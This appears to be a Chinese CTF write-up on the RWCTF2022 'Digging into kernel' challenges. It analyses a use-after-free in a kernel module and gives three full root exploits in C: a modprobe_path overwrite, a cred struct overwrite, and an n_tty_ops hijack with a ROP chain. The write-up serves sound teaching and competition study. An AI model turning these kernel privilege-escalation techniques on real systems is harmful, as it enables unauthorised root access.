Skip to main content

从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法

·2984 words·6 mins·
CTF PWN Kernel Source code ROP UAF
Table of Contents

变年更博主了(悲)。

题目分析
#

用户态传入16字节数据,定义个结构体方便看。

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

主要看 xkmod_ioctl

__int64 __fastcall xkmod_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  xkData data; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+10h] [rbp-10h]

  v5 = __readgsqword(0x28u);
  if ( !arg )
    return 0LL;
  copy_from_user(&data, arg, 16LL);
  if ( cmd == 0x6666666 )
  {
    if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
    {
      copy_from_user((char *)buf + (int)data.offset, data.user_buf, (int)data.length);
      return 0LL;
    }
  }
  else
  {
    if ( cmd != 0x7777777 )
    {
      if ( cmd == 0x1111111 )
        buf = (void *)kmem_cache_alloc(s, 3264LL);
      return 0LL;
    }
    if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
    {
      copy_to_user(data.user_buf, (char *)buf + (int)data.offset);
      return 0LL;
    }
  }
  return xkmod_ioctl_cold();
}

是堆题经典的菜单,有 alloc, edit, read。

漏洞在xkmod_release

int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf);
}

关闭设备文件时没有清理s,留下了悬垂指针,造成 UAF。

前置知识
#

Slub Allocator

这题的核心其实就是劫持 freelist,和用户态很像。只不过开了RANDOM_FREELIST , 两次分配的空间不一定连续,对这题没什么影响 :-)。

调试
#

91 0         0:00 {rcS} /bin/sh /etc/init.d/rcS
setsid cttyhack setuidgid 1000 sh

1000改成0拿 root shell 看 kallsyms,方便内核模块调试。

利用
#

解法1 modprobe_path
#

UAF 泄露堆地址,劫持 freelist 泄露 kernel 基地址。

可以通过 vmlinux-to-elf 将 vmlinux 转化为 ida 可分析 elf,然后搜索/sbin/modprobe计算modprobe_path的偏移量。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH_OFFSET 0x1444700
#define MAGIC_PATH "/home/pwned"

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[8], root_script_fd;
    size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
    char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
    char flag[0x100];
    int flag_fd;

    // bind the process to core 0  
    bindCore(0);

    // create fake modprobe_path file
    root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " MAGIC_PATH);
    
    // kmalloc-192
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // UAF
    struct xkData data;
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    xkAlloc(dev_fd[0], &data);
    xkEdit(dev_fd[0], &data);
    close(dev_fd[0]);

    // leak heap
    xkRead(dev_fd[1], &data);
    heap_leak = data.user_buf[0];
    // printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
    // kernel heap base addr: page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);

    // allocate chunk for kernel base leak
    memset(data.user_buf, 0, 0x1000);
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data); // get the chunk
    data.length = 0x20;
    xkRead(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    // printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);

    // hijack modprobe_path
    puts("[*] hijacking modprobe_path...");
    xkAlloc(dev_fd[1], &data);
    close(dev_fd[1]); // won't free the double free chunk, create a new UAF
    data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data); // get the chunk
    strcpy((char *) &data.user_buf[2], MAGIC_PATH);
    data.length = 0x30;
    xkEdit(dev_fd[2], &data);

    // trigger the exploit
    puts("[*] trigerring fake modprobe_path...");   
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
    system("chmod +x /home/trigger");
    system("/home/trigger");

    // read flag
    memset(flag, 0, sizeof(flag));
    flag_fd = open("/flag", O_RDWR);
    read(flag_fd, flag, sizeof(flag));
    printf("[+] Flag: %s\n", flag);

    return 0;
}

xkmod_ioctlkmem_cache_alloc 处下个断点,利用UAF劫持freelist之后可以看到第一个 alloc 返回的是之前的 object,再下一个已经被写为目标地址 &secondary_startup_64 - 0x10。通过该地址可以泄露内核基地址。

然后修改modprobe_path,再用非法文件触发 chmod 脚本即可。

解法2 修改子进程的 cred
#

对应 kernel 版本 cred 的分配方式源码如下:

void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;
    ...

从源码看,cred_jar 设置了 SLAB_ACCOUNT,不应该和题目中的lalala一起合并到kmalloc-192。但是这题能利用这种方法啊……真相只有一个:

__int64 cred_init()
{
  __int64 result; // rax

  result = kmem_cache_create(aCredJar, 0xA8LL, 0LL, 0x42000LL, 0LL);
  qword_FFFFFFFF82AFA220 = result;
  return result;
}

反编译 vmlinux,标志位是0x42000。对应的标志应该是SLAB_HWCACHE_ALIGNSLAB_PANIC,没有SLAB_ACCOUNT。答案是这题的内核并非“原装”的 v5.4.38,可能特意改了 cred_init 的实现。

总之,在这题里 cred 结构体和内核模块的 slab 都合并到 kmalloc-192。因此可以 fork 一个子进程,利用内核模块的 UAF 修改子进程的 cred 完成提权。

该版本 cred 结构体如下

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
        ...
} __randomize_layout;

网上大多说把 uid~fsgid 全置为0,实际上权限主要与 uid 和 euid 有关,这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char *envp)
{
    int dev_fd[2];
    size_t buf[0x100];
    struct xkData data;

    bindCore(0);

    for (int i = 0; i < 2; i++)
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);

    // no need to l3ak
    data.user_buf = malloc(0x100);
    data.offset = 0;
    data.length = 0x50;

    xkAlloc(dev_fd[0], &data);
    close(dev_fd[0]);

    int pid = fork();
    if (!pid)
    {
        xkRead(dev_fd[1], &data);
            
        if (((int*)(data.user_buf))[0] == 2) // usage
        {
            ((int*)(data.user_buf))[1] = 0; // uid
            ((int*)(data.user_buf))[5] = 0; // euid
            xkEdit(dev_fd[1], &data);
            if (!getuid())
            {
                puts("[+] Root shell spawned!");
                system("/bin/sh");
                exit(0);
            }
            else
            {
                puts("[!] Failed to get root shell!");
                exit(1);
            }
        }
        else
        {
            puts("[x] Failed!");
            exit(2);
        }
    }
    wait(NULL);
}

解法3 劫持 n_tty_ops
#

CONFIG_BINFMT_MISC=nCONFIG_STATIC_USERMODEHELPER=y情况下,劫持modprobe_path的方法失效(应该)。 假如,这道题是独立的 kmem_cache 的 UAF,且配置项使得modprobe_path方法失效,如何呢? 可以劫持n_tty_ops

放一张陈年老图说明劫持该结构体的流程:

先看这个结构体的定义

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};
struct tty_ldisc_ops {
	int	magic;
	char	*name;
	int	num;
	int	flags;

	/*
	 * The following routines are called from above.
	 */
	int	(*open)(struct tty_struct *);
	void	(*close)(struct tty_struct *);
	void	(*flush_buffer)(struct tty_struct *tty);
	ssize_t	(*read)(struct tty_struct *tty, struct file *file,
			unsigned char __user *buf, size_t nr);
	ssize_t	(*write)(struct tty_struct *tty, struct file *file,
			 const unsigned char *buf, size_t nr);
	int	(*ioctl)(struct tty_struct *tty, struct file *file,
			 unsigned int cmd, unsigned long arg);
	int	(*compat_ioctl)(struct tty_struct *tty, struct file *file,
				unsigned int cmd, unsigned long arg);
	void	(*set_termios)(struct tty_struct *tty, struct ktermios *old);
	__poll_t (*poll)(struct tty_struct *, struct file *,
			     struct poll_table_struct *);
	int	(*hangup)(struct tty_struct *tty);

	/*
	 * The following routines are called from below.
	 */
	void	(*receive_buf)(struct tty_struct *, const unsigned char *cp,
			       char *fp, int count);
	void	(*write_wakeup)(struct tty_struct *);
	void	(*dcd_change)(struct tty_struct *, unsigned int);
	int	(*receive_buf2)(struct tty_struct *, const unsigned char *cp,
				char *fp, int count);

	struct  module *owner;

	int refcount;
};

找一下 n_tty_ops:

__int64 n_tty_init()
{
  return tty_register_ldisc(0LL, &unk_FFFFFFFF824B1160);
}

利用pt_regs来构造 ROP。劫持 n_tty_ops.read 为 stack pivot gadget,syscall read 触发。pivot 到 pt_regs 执行我们构造的 ROP 链(不过“新”版本 kernel pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值)。利用swapgs_restore_regs_and_return_to_usermode从内核态返回用户态提权,提权后要修复n_tty_ops,不然拿到 root shell 也无法交互。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sched.h>

#define N_TTY_OPS                                   0xffffffff824B1160
#define N_TTY_OPEN                                  0xffffffff81466710
#define N_TTY_CLOSE                                 0xffffffff81464dc0
#define N_TTY_FLUSH_BUFFER                          0xffffffff814654b0
#define N_TTY_READ                                  0xffffffff81465a10
#define N_TTY_READ_ADDR                             0xffffffff824b1190
#define PREPARE_KERNEL_CRED                         0xffffffff8108a9a0
#define POP_RDI_RET                                 0xffffffff81001518
#define COMMIT_CREDS                                0xffffffff8108a660
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE  0xffffffff81c00a2f
#define XCHG_RAX_RDI_RET                            0xffffffff8148c492
#define ADD_RSP_0XC8_RET                            0xffffffff811454aa

int dev_fd[8], root_script_fd, kernel_offset;
size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode;
size_t pop_rdi_ret, xchg_rax_rdi_ret;

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
}data;

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char *envp)
{
    // bind the process to core 0  
    bindCore(0);
    
    // kmalloc-192
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // UAF
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    xkAlloc(dev_fd[0], &data);
    xkEdit(dev_fd[0], &data);
    close(dev_fd[0]);

    // leak heap
    xkRead(dev_fd[1], &data);
    heap_leak = data.user_buf[0];
    // printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
    // kernel heap base addr: page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);

    // allocate chunk for kernel base leak
    memset(data.user_buf, 0, 0x1000);
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data); // get the chunk
    data.length = 0x20;
    xkRead(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    // printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);
    kernel_offset = kernel_base - 0xFFFFFFFF81000000;

    // hijack n_tty_ops
    puts("[*] hijacking n_tty_ops...");
    xkAlloc(dev_fd[1], &data);
    close(dev_fd[1]); // won't free the double free chunk, create a new UAF
    data.user_buf[0] = kernel_offset + N_TTY_READ_ADDR - 0x20; // next will be &n_tty_ops.num, next->next == 0
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data); // get the chunk
    data.user_buf[0] = 0;
    data.user_buf[1] = kernel_offset + N_TTY_OPEN;
    data.user_buf[2] = kernel_offset + N_TTY_CLOSE;
    data.user_buf[3] = kernel_offset + N_TTY_FLUSH_BUFFER;
    data.user_buf[4] = kernel_offset + ADD_RSP_0XC8_RET; // kernel_base + 0x1454aa
    data.length = 0x28;
    xkEdit(dev_fd[2], &data); // now n_tty_ops.read is add_rsp_0xc8_ret

    // hijack rip
    puts("[*] hijacking rip...");
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
    xchg_rax_rdi_ret = XCHG_RAX_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset + 0xa; //  pop r11; pop r10; ...
    // add_rsp_0xc8_ret will pivot the stack to pt_regs
    __asm__(
        "mov r15,   pop_rdi_ret;"
        "xor r14,   r14;"
        "mov r13,   prepare_kernel_cred;"
        "mov r12,   xchg_rax_rdi_ret;"
        "mov rbp,   commit_creds;"
        "mov rbx,   swapgs_restore_regs_and_return_to_usermode;"
        //"mov r11,   0x66666666;"
        //"mov r10,   0x77777777;"
        //"mov r9,    0x88888888;"
        //"mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   0x8;"
        "mov rsi,   rsp;"
        "xor rdi,   rdi;"
        "syscall"
    );
    /* the rop chain is:
    pop_rdi_ret;
    0;
    prepare_kernel_cred;
    xchg_rax_rdi_ret; // let the return value of prepare_kernel_cred be in rdi
    commit_creds; commit_creds(ret of prepare_kernel_cred);
    swapgs_restore_regs_and_return_to_usermode;
    padding...
    user_shell_addr
    user_cs
    user_rflags
    user_sp
    user_ss
    */

    if (!getuid())
    {
        puts("[+] Now we are root!");
    }
    else
    {
        puts("Failed wtf?!");
        exit(1);
    }

    // repair n_tty_ops
    puts("[*] Repairing n_tty_ops...");
    data.user_buf[4] = N_TTY_READ + kernel_offset;
    xkEdit(dev_fd[2], &data);
    puts("[+] Root shell spwaned!");
    system("/bin/sh");

    return 0;
}

最好全部用全局变量。笔者原先定义xkData为局部变量,但是在data.user_buf[4] = N_TTY_READ + kernel_offset;这一句 segmentation fault 了,暂时没有探究具体原理。在写exp时也是因为这个问题多花了几十分钟。

参考资料
#

BeaCox
Author
BeaCox
Stay humble, remain critical.

Related

从 pwnable.tw——3x17 学习 .fini_array
·1289 words·3 mins
CTF PWN ROP .fini_array
UIUCTF 2024 PWN Writeup
·6286 words·13 mins
CTF PWN
第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup
·3264 words·7 mins
CTF PWN Crypto Misc Reverse